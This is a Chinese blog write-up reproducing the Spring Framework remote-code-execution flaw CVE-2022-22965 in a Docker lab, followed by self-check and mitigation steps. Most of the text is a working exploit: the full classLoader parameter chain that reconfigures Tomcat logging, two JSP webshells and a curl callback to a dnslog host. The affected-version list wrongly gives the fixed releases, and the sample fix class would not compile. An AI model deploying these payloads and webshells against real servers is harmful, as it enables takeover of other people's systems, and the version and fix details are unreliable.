0x00 漏洞介绍
2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
0x01 漏洞利用条件
1. Apache Tomcat作为Servlet容器;
2. 使用JDK9及以上版本的Spring MVC框架;
3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
CachedIntrospectionResults.class
0x02 漏洞影响范围
1、JDK
-
JDK 9+
2、Spring Framework
-
5.3.18+
-
5.2.20+
0x03 漏洞复现
复现环境:Centos7(192.168.110.133)
docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -itd -p 8090:8080 vulfocus/spring-core-rce-2022-03-29
访问看看
利用原理(这里不放分析代码的图了):
利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell。
完整的利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)
构造payload
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/app/tomcat/webapps/ROOT/
class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送payload:
GET发送(需要分五次请求,依次发送有时候spring会出问题)
http://127.0.0.1:8090/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di
http://127.0.0.1:8090/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8090/?class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F
http://127.0.0.1:8090/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile
http://127.0.0.1:8090/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
POST发送(数据包格式 Content-Type: application/x-www-form-urlencoded,推荐这种方式)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F&class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
然后任意⼀个请求,在请求头中添加一个name为test的值,即可写⼊webshell:
test:<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
看看系统漏洞环境下的木马文件
浏览器访问下:
报500错误,文件存在
因为是无回显的一句话,我们可以直接弹shell,这里用dnslog去判断是否成
功。
curl 1pnicr.dnslog.cn
dnslog:
后面又换了一个带回显的jsp木马:
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
执行效果
0x05 漏洞自查
可按照以下步骤来判断是否受此漏洞影响:
1. 排查是否使用了Spring框架(包括但不限于以下方法)
(1) 排查项目中是否使用了Spring框架:
可遍历项目文件查找是否包含spring-beans-*.jar
(2) 排查war包中是否存在Spring框架:
检查war包内是否存在spring-beans-*.jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
(3) 排查jar包部中的Spring:
检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
2. 排查包含Spring框架的项目使用的JDK版本,如果JDK版本>=9则存在风险。
0x06 漏洞修复
(一) WAF防护
在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对class.*, Class.*,*.class.*,*.Class.* 等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
(二) 临时修复措施
需同时按以下两个步骤进行漏洞的临时修复:
1.在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.*","Class.*","*.class.*","*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加)
2. 在用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;
public class GlobalControllerAdvicc{
public void setAllowedFields(webdataBinder dataBinder){
String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"}; dataBinder.setDisallowedFields(abd);
}
}
(三) 根据官方的意思是更新最新版
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
内容仅供学习,根据此文造成的任何后果均由用户个人承担
原文始发于微信公众号(米瑞尔信息安全):Spring框架远程命令执行复现(CVE-2022-22965)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论